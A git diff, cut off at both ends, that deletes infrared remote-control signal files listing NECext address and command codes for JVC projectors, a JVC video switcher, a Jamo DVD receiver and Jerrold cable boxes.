-protocol: NECext -address: 73 00 00 00 -command: 08 00 00 00 -# -name: BRIGHT -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 09 00 00 00 -# -name: CONT -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 0A 00 00 00 -# -name: FREEZE -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 0F 00 00 00 -# -name: COMPUTER -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 10 00 00 00 -# -name: PC -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 10 00 00 00 -# -name: VIDEO -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 11 00 00 00 -# -name: QUICK_ALIGN. -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 13 00 00 00 -# -name: QUICK_ALIGN -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 13 00 00 00 -# -name: QUICKALIGN -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 13 00 00 00 -# -name: SHARP -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 14 00 00 00 -# -name: COLOR -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 15 00 00 00 -# -name: TINT -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 16 00 00 00 -# -name: OPERATE -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 17 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 17 00 00 00 -# -name: SCAN_POWER -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 17 00 00 00 -# -name: N.R. -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 18 00 00 00 -# -name: V-KEYSTONE_UP -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 1B 00 00 00 -# -name: V-KEYSTONE_DOWN -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 1C 00 00 00 -# -name: AV_MUTING -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 1D 00 00 00 -# -name: HIDE -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 1D 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 1D 00 00 00 -# -name: VOL_+ -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 1E 00 00 00 -# -name: VOL_- -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 1F 00 00 00 -# -name: LENS.AP -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 20 00 00 00 -# -name: ZOOM_T -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 23 00 00 00 -# -name: V_STRETCH_ON -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 23 00 00 00 -# -name: ZOOM_UP -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 23 00 00 00 -# -name: ZOOOM_T -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 23 00 00 00 -# -name: ZOOM_W -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 24 00 00 00 -# -name: V_STRETCH_OFF -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 24 00 00 00 -# -name: ZOOM_DOWN -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 24 00 00 00 -# -name: DIGITAL_ZOOM_+ -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 2A 00 00 00 -# -name: DIGITAL_ZOOM_- -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 2B 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 2E 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 2F 00 00 00 -# -name: CURSOR_ENTER -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 2F 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 2F 00 00 00 -# -name: MENU/ENTER -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 30 00 00 00 -# -name: MENU/_ENTER -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 30 00 00 00 -# -name: SELECT_= -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 30 00 00 00 -# -name: LENS -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 30 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 34 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 34 00 00 00 -# -name: CURSOR_> -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 34 00 00 00 -# -name: MENU_RIGHT -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 34 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 36 00 00 00 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 36 00 00 00 -# -name: CURSOR_< -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 36 00 00 00 -# -name: MENU_LEFT -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 36 00 00 00 -# -name: FOCUS_+ -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 3C 00 00 00 -# -name: FOCUS_UP -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 3C 00 00 00 -# -name: FOCUS_- -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 3D 00 00 00 -# -name: FOCUS_DOWN -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 3D 00 00 00 -# -name: H-KEYSTONE_UP -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 40 00 00 00 -# -name: H-KEYSTONE_DOWN -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 41 00 00 00 -# -name: VIDEO -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 4B 00 00 00 -# -name: INPUT_VIDEO -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 4B 00 00 00 -# -name: S-VIDEO -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 4C 00 00 00 -# -name: INPUT_S-VIDEO -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 4C 00 00 00 -# -name: COMPONENT -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 4D 00 00 00 -# -name: COMP. -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 4D 00 00 00 -# -name: INPUT_COMPONENT -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 4D 00 00 00 -# -name: SCREEN_W -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 56 00 00 00 -# -name: SCREEN_S -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 57 00 00 00 -# -name: CHP -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 58 00 00 00 -# -name: TEST -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 59 00 00 00 -# -name: STAGE -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 67 00 00 00 -# -name: CINEMA_2 -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 68 00 00 00 -# -name: CINEMA -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 69 00 00 00 -# -name: CINEMA_MODE -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 69 00 00 00 -# -name: CINEMA_1 -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 69 00 00 00 -# -name: NATURAL -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 6A 00 00 00 -# -name: NATURAL_MODE -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 6A 00 00 00 -# -name: DYNAMIC -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 6B 00 00 00 -# -name: USER_1 -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 6C 00 00 00 -# -name: USER_2 -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 6D 00 00 00 -# -name: USER_3 -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 6E 00 00 00 -# -name: HDMI1 -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 70 00 00 00 -# -name: HDMI_1 -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 70 00 00 00 -# -name: INPUT_HDMI_1 -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 70 00 00 00 -# -name: HDMI2 -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 71 00 00 00 -# -name: HDMI_2 -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 71 00 00 00 -# -name: INPUT_HDMI_2 -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 71 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 74 00 00 00 -# -name: GAMMA -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 75 00 00 00 -# -name: COLOUR_TEMP -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 76 00 00 00 -# -name: COLOR_TEMP -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 76 00 00 00 -# -name: C.TEMP -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 76 00 00 00 -# -name: ASPECT -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 77 00 00 00 -# -name: ASPECT_RATIO -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 77 00 00 00 -# -name: DYNAMIC_MODE -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 77 00 00 00 -# -name: CONTRAST_+ -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 78 00 00 00 -# -name: CONTRAST_UP -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 78 00 00 00 -# -name: CONTRAST_- -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 79 00 00 00 -# -name: CONTRAST_DOWN -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 79 00 00 00 -# -name: BRIGHTNESS_+ -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 7A 00 00 00 -# -name: BRIGHTNESS_UP -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 7A 00 00 00 -# -name: BRIGHT_+ -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 7A 00 00 00 -# -name: BRIGHTNESS_- -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 7B 00 00 00 -# -name: BRIGHTNESS_DOWN -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 7B 00 00 00 -# -name: BRIGHT_- -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 7B 00 00 00 -# -name: COLOUR_+ -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 7C 00 00 00 -# -name: COLOR_+ -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 7C 00 00 00 -# -name: COLOUR_- -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 7D 00 00 00 -# -name: COLOR_- -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 7D 00 00 00 -# -name: SHARPNESS_+ -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 7E 00 00 00 -# -name: SHARP_+ -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 7E 00 00 00 -# -name: SHARPNESS_- -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 7F 00 00 00 -# -name: SHARP_- -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 7F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Video Projector/131,85.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Video Projector/131,85.ir deleted file mode 100644 index 039110249..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Video Projector/131,85.ir +++ /dev/null @@ -1,74 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: HIDE -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 8F 00 00 00 -# -name: OPERATE -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 90 00 00 00 -# -name: FREEZE -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 92 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 93 00 00 00 -# -name: VOL_+ -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 98 00 00 00 -# -name: VOL_- -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 99 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 9A 00 00 00 -# -name: SPECIAL -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 9B 00 00 00 -# -name: VIDEO -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 9C 00 00 00 -# -name: COMPUTER -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 9D 00 00 00 -# -name: AUTO -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 9E 00 00 00 -# -name: RESIZE -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 9F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Video Switcher/243,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Video Switcher/243,-1.ir deleted file mode 100644 index 242613eb0..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Video Switcher/243,-1.ir +++ /dev/null @@ -1,212 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VIDEO_MUTE -type: parsed -protocol: NECext -address: F3 00 00 00 -command: 86 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: F3 00 00 00 -command: 90 00 00 00 -# -name: OUTPUT_MONITOR -type: parsed -protocol: NECext -address: F3 00 00 00 -command: 90 00 00 00 -# -name: MONITOR_1 -type: parsed -protocol: NECext -address: F3 00 00 00 -command: 91 00 00 00 -# -name: MONITOR_2 -type: parsed -protocol: NECext -address: F3 00 00 00 -command: 92 00 00 00 -# -name: MONITOR_3 -type: parsed -protocol: NECext -address: F3 00 00 00 -command: 93 00 00 00 -# -name: MONITOR_4 -type: parsed -protocol: NECext -address: F3 00 00 00 -command: 94 00 00 00 -# -name: MONITOR_5 -type: parsed -protocol: NECext -address: F3 00 00 00 -command: 95 00 00 00 -# -name: MONITOR_6 -type: parsed -protocol: NECext -address: F3 00 00 00 -command: 96 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: F3 00 00 00 -command: 97 00 00 00 -# -name: MONITOR_7 -type: parsed -protocol: NECext -address: F3 00 00 00 -command: 98 00 00 00 -# -name: MONITOR_OUT_Y/C -type: parsed -protocol: NECext -address: F3 00 00 00 -command: 9B 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: F3 00 00 00 -command: A1 00 00 00 -# -name: SOURCE_1 -type: parsed -protocol: NECext -address: F3 00 00 00 -command: A1 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: F3 00 00 00 -command: A2 00 00 00 -# -name: SOURCE_2 -type: parsed -protocol: NECext -address: F3 00 00 00 -command: A2 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: F3 00 00 00 -command: A3 00 00 00 -# -name: SOURCE_3 -type: parsed -protocol: NECext -address: F3 00 00 00 -command: A3 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: F3 00 00 00 -command: A4 00 00 00 -# -name: SOURCE_4 -type: parsed -protocol: NECext -address: F3 00 00 00 -command: A4 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: F3 00 00 00 -command: A5 00 00 00 -# -name: SOURCE_5 -type: parsed -protocol: NECext -address: F3 00 00 00 -command: A5 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: F3 00 00 00 -command: A6 00 00 00 -# -name: SOURCE_6 -type: parsed -protocol: NECext -address: F3 00 00 00 -command: A6 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: F3 00 00 00 -command: A7 00 00 00 -# -name: SOURCE_7 -type: parsed -protocol: NECext -address: F3 00 00 00 -command: A7 00 00 00 -# -name: LOOP_PROTECT -type: parsed -protocol: NECext -address: F3 00 00 00 -command: A8 00 00 00 -# -name: DUAL_OPERATE -type: parsed -protocol: NECext -address: F3 00 00 00 -command: AA 00 00 00 -# -name: DUAL_OPERATION -type: parsed -protocol: NECext -address: F3 00 00 00 -command: AA 00 00 00 -# -name: KEYLOCK -type: parsed -protocol: NECext -address: F3 00 00 00 -command: AB 00 00 00 -# -name: KEY_LOCK -type: parsed -protocol: NECext -address: F3 00 00 00 -command: AB 00 00 00 -# -name: PROCESSOR_VIDEO -type: parsed -protocol: NECext -address: F3 00 00 00 -command: AC 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: F3 00 00 00 -command: AD 00 00 00 -# -name: PROCESSOR_AUDIO -type: parsed -protocol: NECext -address: F3 00 00 00 -command: AD 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: F3 00 00 00 -command: AE 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Jamo/DVD Receiver/25,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Jamo/DVD Receiver/25,-1.ir deleted file mode 100644 index 2060f6ce7..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Jamo/DVD Receiver/25,-1.ir +++ /dev/null @@ -1,326 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0_A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 00 00 00 00 -# -name: 0_B -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 00 00 00 00 -# -name: 7_A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 01 00 00 00 -# -name: 7_B -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 01 00 00 00 -# -name: 8_A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 02 00 00 00 -# -name: 8_B -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 02 00 00 00 -# -name: 9_A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 03 00 00 00 -# -name: 9_B -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 03 00 00 00 -# -name: 4_A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 04 00 00 00 -# -name: 4_B -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 04 00 00 00 -# -name: 5_A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 05 00 00 00 -# -name: 5_B -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 05 00 00 00 -# -name: 6_A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 06 00 00 00 -# -name: 6_B -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 06 00 00 00 -# -name: 1_A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 07 00 00 00 -# -name: 1_B -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 07 00 00 00 -# -name: 2_A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 08 00 00 00 -# -name: 2_B -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 08 00 00 00 -# -name: 3_A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 09 00 00 00 -# -name: 3_B -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 09 00 00 00 -# -name: POWER_A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0C 00 00 00 -# -name: POWER_B -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0C 00 00 00 -# -name: VOLUME_+_A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 11 00 00 00 -# -name: VOLUME_+_B -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 11 00 00 00 -# -name: MENU_A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 21 00 00 00 -# -name: MENU_B -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 21 00 00 00 -# -name: DVD_A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 2D 00 00 00 -# -name: DVD_B -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 2D 00 00 00 -# -name: SKIP_<<_A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 32 00 00 00 -# -name: SKIP_<<_B -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 32 00 00 00 -# -name: SKIP_>>_A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 34 00 00 00 -# -name: SKIP_>>_B -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 34 00 00 00 -# -name: STOP_A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 35 00 00 00 -# -name: STOP_B -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 35 00 00 00 -# -name: MODE_A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 41 00 00 00 -# -name: MODE_B -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 41 00 00 00 -# -name: RADIO_A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 42 00 00 00 -# -name: RADIO_B -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 42 00 00 00 -# -name: MUTE_A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 45 00 00 00 -# -name: MUTE_B -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 45 00 00 00 -# -name: LOAD_A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 49 00 00 00 -# -name: LOAD_B -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 49 00 00 00 -# -name: VOLUME_-_A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 4C 00 00 00 -# -name: VOLUME_-_B -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 4C 00 00 00 -# -name: CURSOR_RIGHT_A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 50 00 00 00 -# -name: CURSOR_RIGHT_B -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 50 00 00 00 -# -name: CURSOR_LEFT_A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 51 00 00 00 -# -name: CURSOR_LEFT_B -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 51 00 00 00 -# -name: CURSOR_DOWN_A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 55 00 00 00 -# -name: CURSOR_DOWN_B -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 55 00 00 00 -# -name: CURSOR_UP_A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 56 00 00 00 -# -name: CURSOR_UP_B -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 56 00 00 00 -# -name: PLAY/PAUSE_A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 57 00 00 00 -# -name: PLAY/PAUSE_B -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 57 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Jerrold/Cable Box/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Jerrold/Cable Box/0,-1.ir deleted file mode 100644 index 0641e3ce7..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Jerrold/Cable Box/0,-1.ir +++ /dev/null @@ -1,338 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CATV_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: CATV_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: CATV_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: CATV_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: CATV_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: CATV_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: CATV_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: CATV_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: CATV_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: CATV_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: CATV_CATV_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: CATV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: CATV_CH_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: CATV_CH_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: CATV_VOL_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: CATV_VOL_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: CATV_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: CATV_ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: CATV_SELECT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: CATV_DISP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: CATV_ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: A/B -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: CATV_FAV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: FAV. -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: FAV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: CATV_PROG -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: PROG. -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: CATV_DELETE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: DELETE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: CATV_F -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: F -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: CATV_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Jerrold/Cable Box/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Jerrold/Cable Box/1,-1.ir deleted file mode 100644 index 6d92a35ab..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Jerrold/Cable Box/1,-1.ir +++ /dev/null @@ -1,26 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VOL_^ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 12 00 00 00 -# -name: VOL_V -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 13 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 14 00 00 00 -# -name: TV_POWER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 15 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Jerrold/Unknown_550-osd/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Jerrold/Unknown_550-osd/0,-1.ir deleted file mode 100644 index 4d7b5269f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Jerrold/Unknown_550-osd/0,-1.ir +++ /dev/null @@ -1,164 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 